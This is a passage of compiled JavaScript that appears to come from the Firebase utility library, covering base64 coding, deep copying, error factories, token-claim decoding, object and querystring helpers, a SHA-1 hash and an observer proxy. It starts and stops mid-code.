* Maps characters to bytes.
* @type {Object}
* @private
*/
charToByteMap_: null,
/**
* Maps bytes to websafe characters.
* @type {Object}
* @private
*/
byteToCharMapWebSafe_: null,
/**
* Maps websafe characters to bytes.
* @type {Object}
* @private
*/
charToByteMapWebSafe_: null,
/**
* Our default alphabet, shared between
* ENCODED_VALS and ENCODED_VALS_WEBSAFE
* @type {string}
*/
ENCODED_VALS_BASE: 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789',
/**
* Our default alphabet. Value 64 (=) is special; it means "nothing."
* @type {string}
*/
get ENCODED_VALS() {
return this.ENCODED_VALS_BASE + '+/=';
},
/**
* Our websafe alphabet.
* @type {string}
*/
get ENCODED_VALS_WEBSAFE() {
return this.ENCODED_VALS_BASE + '-_.';
},
/**
* Whether this browser supports the atob and btoa functions. This extension
* started at Mozilla but is now implemented by many browsers. We use the
* ASSUME_* variables to avoid pulling in the full useragent detection library
* but still allowing the standard per-browser compilations.
*
* @type {boolean}
*/
HAS_NATIVE_SUPPORT: typeof atob === 'function',
/**
* Base64-encode an array of bytes.
*
* @param {Array<number>|Uint8Array} input An array of bytes (numbers with
* value in [0, 255]) to encode.
* @param {boolean=} opt_webSafe Boolean indicating we should use the
* alternative alphabet.
* @return {string} The base64 encoded string.
*/
encodeByteArray: function (input, opt_webSafe) {
if (!Array.isArray(input)) {
throw Error('encodeByteArray takes an array as a parameter');
}
this.init_();
var byteToCharMap = opt_webSafe
? this.byteToCharMapWebSafe_
: this.byteToCharMap_;
var output = [];
for (var i = 0; i < input.length; i += 3) {
var byte1 = input[i];
var haveByte2 = i + 1 < input.length;
var byte2 = haveByte2 ? input[i + 1] : 0;
var haveByte3 = i + 2 < input.length;
var byte3 = haveByte3 ? input[i + 2] : 0;
var outByte1 = byte1 >> 2;
var outByte2 = ((byte1 & 0x03) << 4) | (byte2 >> 4);
var outByte3 = ((byte2 & 0x0f) << 2) | (byte3 >> 6);
var outByte4 = byte3 & 0x3f;
if (!haveByte3) {
outByte4 = 64;
if (!haveByte2) {
outByte3 = 64;
}
}
output.push(byteToCharMap[outByte1], byteToCharMap[outByte2], byteToCharMap[outByte3], byteToCharMap[outByte4]);
}
return output.join('');
},
/**
* Base64-encode a string.
*
* @param {string} input A string to encode.
* @param {boolean=} opt_webSafe If true, we should use the
* alternative alphabet.
* @return {string} The base64 encoded string.
*/
encodeString: function (input, opt_webSafe) {
// Shortcut for Mozilla browsers that implement
// a native base64 encoder in the form of "btoa/atob"
if (this.HAS_NATIVE_SUPPORT && !opt_webSafe) {
return btoa(input);
}
return this.encodeByteArray(stringToByteArray(input), opt_webSafe);
},
/**
* Base64-decode a string.
*
* @param {string} input to decode.
* @param {boolean=} opt_webSafe True if we should use the
* alternative alphabet.
* @return {string} string representing the decoded value.
*/
decodeString: function (input, opt_webSafe) {
// Shortcut for Mozilla browsers that implement
// a native base64 encoder in the form of "btoa/atob"
if (this.HAS_NATIVE_SUPPORT && !opt_webSafe) {
return atob(input);
}
return byteArrayToString(this.decodeStringToByteArray(input, opt_webSafe));
},
/**
* Base64-decode a string.
*
* In base-64 decoding, groups of four characters are converted into three
* bytes. If the encoder did not apply padding, the input length may not
* be a multiple of 4.
*
* In this case, the last group will have fewer than 4 characters, and
* padding will be inferred. If the group has one or two characters, it decodes
* to one byte. If the group has three characters, it decodes to two bytes.
*
* @param {string} input Input to decode.
* @param {boolean=} opt_webSafe True if we should use the web-safe alphabet.
* @return {!Array<number>} bytes representing the decoded value.
*/
decodeStringToByteArray: function (input, opt_webSafe) {
this.init_();
var charToByteMap = opt_webSafe
? this.charToByteMapWebSafe_
: this.charToByteMap_;
var output = [];
for (var i = 0; i < input.length;) {
var byte1 = charToByteMap[input.charAt(i++)];
var haveByte2 = i < input.length;
var byte2 = haveByte2 ? charToByteMap[input.charAt(i)] : 0;
++i;
var haveByte3 = i < input.length;
var byte3 = haveByte3 ? charToByteMap[input.charAt(i)] : 64;
++i;
var haveByte4 = i < input.length;
var byte4 = haveByte4 ? charToByteMap[input.charAt(i)] : 64;
++i;
if (byte1 == null || byte2 == null || byte3 == null || byte4 == null) {
throw Error();
}
var outByte1 = (byte1 << 2) | (byte2 >> 4);
output.push(outByte1);
if (byte3 != 64) {
var outByte2 = ((byte2 << 4) & 0xf0) | (byte3 >> 2);
output.push(outByte2);
if (byte4 != 64) {
var outByte3 = ((byte3 << 6) & 0xc0) | byte4;
output.push(outByte3);
}
}
}
return output;
},
/**
* Lazy static initialization function. Called before
* accessing any of the static map variables.
* @private
*/
init_: function () {
if (!this.byteToCharMap_) {
this.byteToCharMap_ = {};
this.charToByteMap_ = {};
this.byteToCharMapWebSafe_ = {};
this.charToByteMapWebSafe_ = {};
// We want quick mappings back and forth, so we precompute two maps.
for (var i = 0; i < this.ENCODED_VALS.length; i++) {
this.byteToCharMap_[i] = this.ENCODED_VALS.charAt(i);
this.charToByteMap_[this.byteToCharMap_[i]] = i;
this.byteToCharMapWebSafe_[i] = this.ENCODED_VALS_WEBSAFE.charAt(i);
this.charToByteMapWebSafe_[this.byteToCharMapWebSafe_[i]] = i;
// Be forgiving when decoding and correctly decode both encodings.
if (i >= this.ENCODED_VALS_BASE.length) {
this.charToByteMap_[this.ENCODED_VALS_WEBSAFE.charAt(i)] = i;
this.charToByteMapWebSafe_[this.ENCODED_VALS.charAt(i)] = i;
}
}
}
}
};
/**
* URL-safe base64 encoding
* @param {!string} str
* @return {!string}
*/
var base64Encode = function (str) {
var utf8Bytes = stringToByteArray(str);
return base64.encodeByteArray(utf8Bytes, true);
};
/**
* URL-safe base64 decoding
*
* NOTE: DO NOT use the global atob() function - it does NOT support the
* base64Url variant encoding.
*
* @param {string} str To be decoded
* @return {?string} Decoded result, if possible
*/
var base64Decode = function (str) {
try {
return base64.decodeString(str, true);
}
catch (e) {
console.error('base64Decode failed: ', e);
}
return null;
};
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Do a deep-copy of basic JavaScript Objects or Arrays.
*/
function deepCopy(value) {
return deepExtend(undefined, value);
}
/**
* Copy properties from source to target (recursively allows extension
* of Objects and Arrays). Scalar values in the target are over-written.
* If target is undefined, an object of the appropriate type will be created
* (and returned).
*
* We recursively copy all child properties of plain Objects in the source- so
* that namespace- like dictionaries are merged.
*
* Note that the target can be a function, in which case the properties in
* the source Object are copied onto it as static properties of the Function.
*/
function deepExtend(target, source) {
if (!(source instanceof Object)) {
return source;
}
switch (source.constructor) {
case Date:
// Treat Dates like scalars; if the target date object had any child
// properties - they will be lost!
var dateValue = source;
return new Date(dateValue.getTime());
case Object:
if (target === undefined) {
target = {};
}
break;
case Array:
// Always copy the array source and overwrite the target.
target = [];
break;
default:
// Not a plain Object - treat it as a scalar.
return source;
}
for (var prop in source) {
if (!source.hasOwnProperty(prop)) {
continue;
}
target[prop] = deepExtend(target[prop], source[prop]);
}
return target;
}
// TODO: Really needed (for JSCompiler type checking)?
function patchProperty(obj, prop, value) {
obj[prop] = value;
}
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
var Deferred = /** @class */ (function () {
function Deferred() {
var _this = this;
this.promise = new Promise(function (resolve, reject) {
_this.resolve = resolve;
_this.reject = reject;
});
}
/**
* Our API internals are not promiseified and cannot because our callback APIs have subtle expectations around
* invoking promises inline, which Promises are forbidden to do. This method accepts an optional node-style callback
* and returns a node-style callback which will resolve or reject the Deferred's promise.
* @param {((?function(?(Error)): (?|undefined))| (?function(?(Error),?=): (?|undefined)))=} callback
* @return {!function(?(Error), ?=)}
*/
Deferred.prototype.wrapCallback = function (callback) {
var _this = this;
return function (error, value) {
if (error) {
_this.reject(error);
}
else {
_this.resolve(value);
}
if (typeof callback === 'function') {
// Attaching noop handler just in case developer wasn't expecting
// promises
_this.promise.catch(function () { });
// Some of our callbacks don't expect a value and our own tests
// assert that the parameter length is 1
if (callback.length === 1) {
callback(error);
}
else {
callback(error, value);
}
}
};
};
return Deferred;
}());
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Returns navigator.userAgent string or '' if it's not defined.
* @return {string} user agent string
*/
var getUA = function () {
if (typeof navigator !== 'undefined' &&
typeof navigator['userAgent'] === 'string') {
return navigator['userAgent'];
}
else {
return '';
}
};
/**
* Detect Cordova / PhoneGap / Ionic frameworks on a mobile device.
*
* Deliberately does not rely on checking `file://` URLs (as this fails PhoneGap in the Ripple emulator) nor
* Cordova `onDeviceReady`, which would normally wait for a callback.
*
* @return {boolean} isMobileCordova
*/
var isMobileCordova = function () {
return (typeof window !== 'undefined' &&
!!(window['cordova'] || window['phonegap'] || window['PhoneGap']) &&
/ios|iphone|ipod|ipad|android|blackberry|iemobile/i.test(getUA()));
};
/**
* Detect React Native.
*
* @return {boolean} True if ReactNative environment is detected.
*/
var isReactNative = function () {
return (typeof navigator === 'object' && navigator['product'] === 'ReactNative');
};
/**
* Detect Node.js.
*
* @return {boolean} True if Node.js environment is detected.
*/
var isNodeSdk = function () {
return CONSTANTS.NODE_CLIENT === true || CONSTANTS.NODE_ADMIN === true;
};
var ERROR_NAME = 'FirebaseError';
var captureStackTrace = Error
.captureStackTrace;
// Export for faking in tests
function patchCapture(captureFake) {
var result = captureStackTrace;
captureStackTrace = captureFake;
return result;
}
var FirebaseError = /** @class */ (function () {
function FirebaseError(code, message) {
this.code = code;
this.message = message;
// We want the stack value, if implemented by Error
if (captureStackTrace) {
// Patches this.stack, omitted calls above ErrorFactory#create
captureStackTrace(this, ErrorFactory.prototype.create);
}
else {
try {
// In case of IE11, stack will be set only after error is raised.
// https://docs.microsoft.com/en-us/scripting/javascript/reference/stack-property-error-javascript
throw Error.apply(this, arguments);
}
catch (err) {
this.name = ERROR_NAME;
// Make non-enumerable getter for the property.
Object.defineProperty(this, 'stack', {
get: function () {
return err.stack;
}
});
}
}
}
return FirebaseError;
}());
// Back-door inheritance
FirebaseError.prototype = Object.create(Error.prototype);
FirebaseError.prototype.constructor = FirebaseError;
FirebaseError.prototype.name = ERROR_NAME;
var ErrorFactory = /** @class */ (function () {
function ErrorFactory(service, serviceName, errors) {
this.service = service;
this.serviceName = serviceName;
this.errors = errors;
// Matches {$name}, by default.
this.pattern = /\{\$([^}]+)}/g;
// empty
}
ErrorFactory.prototype.create = function (code, data) {
if (data === undefined) {
data = {};
}
var template = this.errors[code];
var fullCode = this.service + '/' + code;
var message;
if (template === undefined) {
message = 'Error';
}
else {
message = template.replace(this.pattern, function (match, key) {
var value = data[key];
return value !== undefined ? value.toString() : '<' + key + '?>';
});
}
// Service: Error message (service/code).
message = this.serviceName + ': ' + message + ' (' + fullCode + ').';
var err = new FirebaseError(fullCode, message);
// Populate the Error object with message parts for programmatic
// accesses (e.g., e.file).
for (var prop in data) {
if (!data.hasOwnProperty(prop) || prop.slice(-1) === '_') {
continue;
}
err[prop] = data[prop];
}
return err;
};
return ErrorFactory;
}());
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Evaluates a JSON string into a javascript object.
*
* @param {string} str A string containing JSON.
* @return {*} The javascript object representing the specified JSON.
*/
function jsonEval(str) {
return JSON.parse(str);
}
/**
* Returns JSON representing a javascript object.
* @param {*} data Javascript object to be stringified.
* @return {string} The JSON contents of the object.
*/
function stringify(data) {
return JSON.stringify(data);
}
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Decodes a Firebase auth. token into constituent parts.
*
* Notes:
* - May return with invalid / incomplete claims if there's no native base64 decoding support.
* - Doesn't check if the token is actually valid.
*
* @param {?string} token
* @return {{header: *, claims: *, data: *, signature: string}}
*/
var decode = function (token) {
var header = {}, claims = {}, data = {}, signature = '';
try {
var parts = token.split('.');
header = jsonEval(base64Decode(parts[0]) || '');
claims = jsonEval(base64Decode(parts[1]) || '');
signature = parts[2];
data = claims['d'] || {};
delete claims['d'];
}
catch (e) { }
return {
header: header,
claims: claims,
data: data,
signature: signature
};
};
/**
* Decodes a Firebase auth. token and checks the validity of its time-based claims. Will return true if the
* token is within the time window authorized by the 'nbf' (not-before) and 'iat' (issued-at) claims.
*
* Notes:
* - May return a false negative if there's no native base64 decoding support.
* - Doesn't check if the token is actually valid.
*
* @param {?string} token
* @return {boolean}
*/
var isValidTimestamp = function (token) {
var claims = decode(token).claims, now = Math.floor(new Date().getTime() / 1000), validSince, validUntil;
if (typeof claims === 'object') {
if (claims.hasOwnProperty('nbf')) {
validSince = claims['nbf'];
}
else if (claims.hasOwnProperty('iat')) {
validSince = claims['iat'];
}
if (claims.hasOwnProperty('exp')) {
validUntil = claims['exp'];
}
else {
// token will expire after 24h by default
validUntil = validSince + 86400;
}
}
return (now && validSince && validUntil && now >= validSince && now <= validUntil);
};
/**
* Decodes a Firebase auth. token and returns its issued at time if valid, null otherwise.
*
* Notes:
* - May return null if there's no native base64 decoding support.
* - Doesn't check if the token is actually valid.
*
* @param {?string} token
* @return {?number}
*/
var issuedAtTime = function (token) {
var claims = decode(token).claims;
if (typeof claims === 'object' && claims.hasOwnProperty('iat')) {
return claims['iat'];
}
return null;
};
/**
* Decodes a Firebase auth. token and checks the validity of its format. Expects a valid issued-at time.
*
* Notes:
* - May return a false negative if there's no native base64 decoding support.
* - Doesn't check if the token is actually valid.
*
* @param {?string} token
* @return {boolean}
*/
var isValidFormat = function (token) {
var decoded = decode(token), claims = decoded.claims;
return !!claims && typeof claims === 'object' && claims.hasOwnProperty('iat');
};
/**
* Attempts to peer into an auth token and determine if it's an admin auth token by looking at the claims portion.
*
* Notes:
* - May return a false negative if there's no native base64 decoding support.
* - Doesn't check if the token is actually valid.
*
* @param {?string} token
* @return {boolean}
*/
var isAdmin = function (token) {
var claims = decode(token).claims;
return typeof claims === 'object' && claims['admin'] === true;
};
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// See http://www.devthought.com/2012/01/18/an-object-is-not-a-hash/
var contains = function (obj, key) {
return Object.prototype.hasOwnProperty.call(obj, key);
};
var safeGet = function (obj, key) {
if (Object.prototype.hasOwnProperty.call(obj, key))
return obj[key];
// else return undefined.
};
/**
* Enumerates the keys/values in an object, excluding keys defined on the prototype.
*
* @param {?Object.<K,V>} obj Object to enumerate.
* @param {!function(K, V)} fn Function to call for each key and value.
* @template K,V
*/
var forEach = function (obj, fn) {
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) {
fn(key, obj[key]);
}
}
};
/**
* Copies all the (own) properties from one object to another.
* @param {!Object} objTo
* @param {!Object} objFrom
* @return {!Object} objTo
*/
var extend = function (objTo, objFrom) {
forEach(objFrom, function (key, value) {
objTo[key] = value;
});
return objTo;
};
/**
* Returns a clone of the specified object.
* @param {!Object} obj
* @return {!Object} cloned obj.
*/
var clone = function (obj) {
return extend({}, obj);
};
/**
* Returns true if obj has typeof "object" and is not null. Unlike goog.isObject(), does not return true
* for functions.
*
* @param obj {*} A potential object.
* @returns {boolean} True if it's an object.
*/
var isNonNullObject = function (obj) {
return typeof obj === 'object' && obj !== null;
};
var isEmpty = function (obj) {
for (var key in obj) {
return false;
}
return true;
};
var getCount = function (obj) {
var rv = 0;
for (var key in obj) {
rv++;
}
return rv;
};
var map = function (obj, f, opt_obj) {
var res = {};
for (var key in obj) {
res[key] = f.call(opt_obj, obj[key], key, obj);
}
return res;
};
var findKey = function (obj, fn, opt_this) {
for (var key in obj) {
if (fn.call(opt_this, obj[key], key, obj)) {
return key;
}
}
return undefined;
};
var findValue = function (obj, fn, opt_this) {
var key = findKey(obj, fn, opt_this);
return key && obj[key];
};
var getAnyKey = function (obj) {
for (var key in obj) {
return key;
}
};
var getValues = function (obj) {
var res = [];
var i = 0;
for (var key in obj) {
res[i++] = obj[key];
}
return res;
};
/**
* Tests whether every key/value pair in an object pass the test implemented
* by the provided function
*
* @param {?Object.<K,V>} obj Object to test.
* @param {!function(K, V)} fn Function to call for each key and value.
* @template K,V
*/
var every = function (obj, fn) {
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) {
if (!fn(key, obj[key])) {
return false;
}
}
}
return true;
};
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Returns a querystring-formatted string (e.g. &arg=val&arg2=val2) from a params
* object (e.g. {arg: 'val', arg2: 'val2'})
* Note: You must prepend it with ? when adding it to a URL.
*
* @param {!Object} querystringParams
* @return {string}
*/
var querystring = function (querystringParams) {
var params = [];
forEach(querystringParams, function (key, value) {
if (Array.isArray(value)) {
value.forEach(function (arrayVal) {
params.push(encodeURIComponent(key) + '=' + encodeURIComponent(arrayVal));
});
}
else {
params.push(encodeURIComponent(key) + '=' + encodeURIComponent(value));
}
});
return params.length ? '&' + params.join('&') : '';
};
/**
* Decodes a querystring (e.g. ?arg=val&arg2=val2) into a params object (e.g. {arg: 'val', arg2: 'val2'})
*
* @param {string} querystring
* @return {!Object}
*/
var querystringDecode = function (querystring) {
var obj = {};
var tokens = querystring.replace(/^\?/, '').split('&');
tokens.forEach(function (token) {
if (token) {
var key = token.split('=');
obj[key[0]] = key[1];
}
});
return obj;
};
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// Copyright 2011 The Closure Library Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS-IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
/**
* @fileoverview Abstract cryptographic hash interface.
*
* See Sha1 and Md5 for sample implementations.
*
*/
/**
* Create a cryptographic hash instance.
*
* @constructor
* @struct
*/
var Hash = /** @class */ (function () {
function Hash() {
/**
* The block size for the hasher.
* @type {number}
*/
this.blockSize = -1;
}
return Hash;
}());
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @fileoverview SHA-1 cryptographic hash.
* Variable names follow the notation in FIPS PUB 180-3:
* http://csrc.nist.gov/publications/fips/fips180-3/fips180-3_final.pdf.
*
* Usage:
* var sha1 = new sha1();
* sha1.update(bytes);
* var hash = sha1.digest();
*
* Performance:
* Chrome 23: ~400 Mbit/s
* Firefox 16: ~250 Mbit/s
*
*/
/**
* SHA-1 cryptographic hash constructor.
*
* The properties declared here are discussed in the above algorithm document.
* @constructor
* @extends {Hash}
* @final
* @struct
*/
var Sha1 = /** @class */ (function (_super) {
tslib_1.__extends(Sha1, _super);
function Sha1() {
var _this = _super.call(this) || this;
/**
* Holds the previous values of accumulated variables a-e in the compress_
* function.
* @type {!Array<number>}
* @private
*/
_this.chain_ = [];
/**
* A buffer holding the partially computed hash result.
* @type {!Array<number>}
* @private
*/
_this.buf_ = [];
/**
* An array of 80 bytes, each a part of the message to be hashed. Referred to
* as the message schedule in the docs.
* @type {!Array<number>}
* @private
*/
_this.W_ = [];
/**
* Contains data needed to pad messages less than 64 bytes.
* @type {!Array<number>}
* @private
*/
_this.pad_ = [];
/**
* @private {number}
*/
_this.inbuf_ = 0;
/**
* @private {number}
*/
_this.total_ = 0;
_this.blockSize = 512 / 8;
_this.pad_[0] = 128;
for (var i = 1; i < _this.blockSize; ++i) {
_this.pad_[i] = 0;
}
_this.reset();
return _this;
}
Sha1.prototype.reset = function () {
this.chain_[0] = 0x67452301;
this.chain_[1] = 0xefcdab89;
this.chain_[2] = 0x98badcfe;
this.chain_[3] = 0x10325476;
this.chain_[4] = 0xc3d2e1f0;
this.inbuf_ = 0;
this.total_ = 0;
};
/**
* Internal compress helper function.
* @param {!Array<number>|!Uint8Array|string} buf Block to compress.
* @param {number=} opt_offset Offset of the block in the buffer.
* @private
*/
Sha1.prototype.compress_ = function (buf, opt_offset) {
if (!opt_offset) {
opt_offset = 0;
}
var W = this.W_;
// get 16 big endian words
if (typeof buf === 'string') {
for (var i = 0; i < 16; i++) {
// TODO(user): [bug 8140122] Recent versions of Safari for Mac OS and iOS
// have a bug that turns the post-increment ++ operator into pre-increment
// during JIT compilation. We have code that depends heavily on SHA-1 for
// correctness and which is affected by this bug, so I've removed all uses
// of post-increment ++ in which the result value is used. We can revert
// this change once the Safari bug
// (https://bugs.webkit.org/show_bug.cgi?id=109036) has been fixed and
// most clients have been updated.
W[i] =
(buf.charCodeAt(opt_offset) << 24) |
(buf.charCodeAt(opt_offset + 1) << 16) |
(buf.charCodeAt(opt_offset + 2) << 8) |
buf.charCodeAt(opt_offset + 3);
opt_offset += 4;
}
}
else {
for (var i = 0; i < 16; i++) {
W[i] =
(buf[opt_offset] << 24) |
(buf[opt_offset + 1] << 16) |
(buf[opt_offset + 2] << 8) |
buf[opt_offset + 3];
opt_offset += 4;
}
}
// expand to 80 words
for (var i = 16; i < 80; i++) {
var t = W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16];
W[i] = ((t << 1) | (t >>> 31)) & 0xffffffff;
}
var a = this.chain_[0];
var b = this.chain_[1];
var c = this.chain_[2];
var d = this.chain_[3];
var e = this.chain_[4];
var f, k;
// TODO(user): Try to unroll this loop to speed up the computation.
for (var i = 0; i < 80; i++) {
if (i < 40) {
if (i < 20) {
f = d ^ (b & (c ^ d));
k = 0x5a827999;
}
else {
f = b ^ c ^ d;
k = 0x6ed9eba1;
}
}
else {
if (i < 60) {
f = (b & c) | (d & (b | c));
k = 0x8f1bbcdc;
}
else {
f = b ^ c ^ d;
k = 0xca62c1d6;
}
}
var t = (((a << 5) | (a >>> 27)) + f + e + k + W[i]) & 0xffffffff;
e = d;
d = c;
c = ((b << 30) | (b >>> 2)) & 0xffffffff;
b = a;
a = t;
}
this.chain_[0] = (this.chain_[0] + a) & 0xffffffff;
this.chain_[1] = (this.chain_[1] + b) & 0xffffffff;
this.chain_[2] = (this.chain_[2] + c) & 0xffffffff;
this.chain_[3] = (this.chain_[3] + d) & 0xffffffff;
this.chain_[4] = (this.chain_[4] + e) & 0xffffffff;
};
Sha1.prototype.update = function (bytes, opt_length) {
// TODO(johnlenz): tighten the function signature and remove this check
if (bytes == null) {
return;
}
if (opt_length === undefined) {
opt_length = bytes.length;
}
var lengthMinusBlock = opt_length - this.blockSize;
var n = 0;
// Using local instead of member variables gives ~5% speedup on Firefox 16.
var buf = this.buf_;
var inbuf = this.inbuf_;
// The outer while loop should execute at most twice.
while (n < opt_length) {
// When we have no data in the block to top up, we can directly process the
// input buffer (assuming it contains sufficient data). This gives ~25%
// speedup on Chrome 23 and ~15% speedup on Firefox 16, but requires that
// the data is provided in large chunks (or in multiples of 64 bytes).
if (inbuf == 0) {
while (n <= lengthMinusBlock) {
this.compress_(bytes, n);
n += this.blockSize;
}
}
if (typeof bytes === 'string') {
while (n < opt_length) {
buf[inbuf] = bytes.charCodeAt(n);
++inbuf;
++n;
if (inbuf == this.blockSize) {
this.compress_(buf);
inbuf = 0;
// Jump to the outer loop so we use the full-block optimization.
break;
}
}
}
else {
while (n < opt_length) {
buf[inbuf] = bytes[n];
++inbuf;
++n;
if (inbuf == this.blockSize) {
this.compress_(buf);
inbuf = 0;
// Jump to the outer loop so we use the full-block optimization.
break;
}
}
}
}
this.inbuf_ = inbuf;
this.total_ += opt_length;
};
/** @override */
Sha1.prototype.digest = function () {
var digest = [];
var totalBits = this.total_ * 8;
// Add pad 0x80 0x00*.
if (this.inbuf_ < 56) {
this.update(this.pad_, 56 - this.inbuf_);
}
else {
this.update(this.pad_, this.blockSize - (this.inbuf_ - 56));
}
// Add # bits.
for (var i = this.blockSize - 1; i >= 56; i--) {
this.buf_[i] = totalBits & 255;
totalBits /= 256; // Don't use bit-shifting here!
}
this.compress_(this.buf_);
var n = 0;
for (var i = 0; i < 5; i++) {
for (var j = 24; j >= 0; j -= 8) {
digest[n] = (this.chain_[i] >> j) & 255;
++n;
}
}
return digest;
};
return Sha1;
}(Hash));
/**
* Helper to make a Subscribe function (just like Promise helps make a
* Thenable).
*
* @param executor Function which can make calls to a single Observer
* as a proxy.
* @param onNoObservers Callback when count of Observers goes to zero.
*/
function createSubscribe(executor, onNoObservers) {
var proxy = new ObserverProxy(executor, onNoObservers);
return proxy.subscribe.bind(proxy);
}
/**
* Implement fan-out for any number of Observers attached via a subscribe
* function.
*/
var ObserverProxy = /** @class */ (function () {
/**
* @param executor Function which can make calls to a single Observer
* as a proxy.
* @param onNoObservers Callback when count of Observers goes to zero.
*/
function ObserverProxy(executor, onNoObservers) {
var _this = this;
this.observers = [];
this.unsubscribes = [];
this.observerCount = 0;
// Micro-task scheduling by calling task.then().
this.task = Promise.resolve();
this.finalized = false;
this.onNoObservers = onNoObservers;
// Call the executor asynchronously so subscribers that are called
// synchronously after the creation of the subscribe function
// can still receive the very first value generated in the executor.
this.task
.then(function () {
executor(_this);
})
.catch(function (e) {
_this.error(e);
});
}
ObserverProxy.prototype.next = function (value) {
this.forEachObserver(function (observer) {
observer.next(value);
});
};
ObserverProxy.prototype.error = function (error) {
this.forEachObserver(function (observer) {
observer.error(error);
});
this.close(error);
};
ObserverProxy.prototype.complete = function () {
this.forEachObserver(function (observer) {
observer.complete();
});
this.close();
};
/**
* Subscribe function that can be used to add an Observer to the fan-out list.
*
* - We require that no event is sent to a subscriber sychronously to their
* call to subscribe().
*/
ObserverProxy.prototype.subscribe = function (nextOrObserver, error, complete) {
var _this = this;
var observer;
if (nextOrObserver === undefined &&
error === undefined &&
complete === undefined) {
throw new Error('Missing Observer.');
}
// Assemble an Observer object when passed as callback functions.
if (implementsAnyMethods(nextOrObserver, ['next', 'error', 'complete'])) {
observer = nextOrObserver;
}
else {
observer = {
next: nextOrObserver,
error: error,
complete: complete
};
}
if (observer.next === undefined) {
observer.next = noop;
}
if (observer.error === undefined) {
observer.error = noop;
}
if (observer.complete === undefined) {
observer.complete = noop;
}
var unsub = this.unsubscribeOne.bind(this, this.observers.length);
// Attempt to subscribe to a terminated Observable - we
// just respond to the Observer with the final error or complete
// event.
if (this.finalized) {
this.task.then(function () {
try {
if (_this.finalError) {
observer.error(_this.finalError);
}
else {
observer.complete();
}
}
catch (e) {
// nothing
}
return;
});
}
this.observers.push(observer);
return unsub;
};
// Unsubscribe is synchronous - we guarantee that no events are sent to
// any unsubscribed Observer.
ObserverProxy.prototype.unsubscribeOne = function (i) {
if (this.observers === undefined || this.observers[i] === undefined) {
return;
